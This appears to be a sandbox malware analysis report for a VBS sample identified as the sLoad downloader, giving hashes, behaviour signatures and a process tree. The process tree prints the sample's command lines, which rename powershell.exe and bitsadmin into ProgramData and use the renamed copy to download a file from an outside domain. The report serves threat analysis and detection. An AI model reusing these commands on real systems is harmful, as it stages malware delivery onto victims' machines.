Analysis

  • max time kernel
    95s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-07-2024 12:00

General

  • Target

    3d4bb59666eebb302bf85e56770fcc9e_JaffaCakes118.vbs

  • Size

    8KB

  • MD5

    3d4bb59666eebb302bf85e56770fcc9e

  • SHA1

    4bba9bf6f71a569e3a18ec171124ac53533b0e6c

  • SHA256

    54d27b43113c9d787286ffdbc3b1aa6e417b2e2947da472a320f746e26b33f50

  • SHA512

    6a319d0d27bbbb9317741334abed9608261cb6ad8ecda6b05e31d51b21df19b4b5ec909fed3265cf45bba3e601f7caaabff8e17dfaa3254ccac35955a55b00a0

  • SSDEEP

    192:QUpzzCCi/CI5lhZjBQFwo0SacAOLT46UcoH0N85xq6iG:QU9CCi/NfhZjBQFwo0SacAOLT46UtHWI

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3d4bb59666eebb302bf85e56770fcc9e_JaffaCakes118.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4052
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aVPzWugV.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\fiZjRWB*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4440
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aVPzWugV.exe
        3⤵
          PID:2324
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\fiZjRWB*.exe
          3⤵
            PID:2708
        • C:\ProgramData\fiZjRWBin.exe
          "C:\ProgramData\fiZjRWBin.exe" /wrap /transfer eDtcIRxb https://grandwyatt.com/picco/01616860936/xml.txt C:\ProgramData\xml.txt
          2⤵
          • Executes dropped EXE
          PID:1692

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\ProgramData\fiZjRWBin.exe

        Filesize

        182KB

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a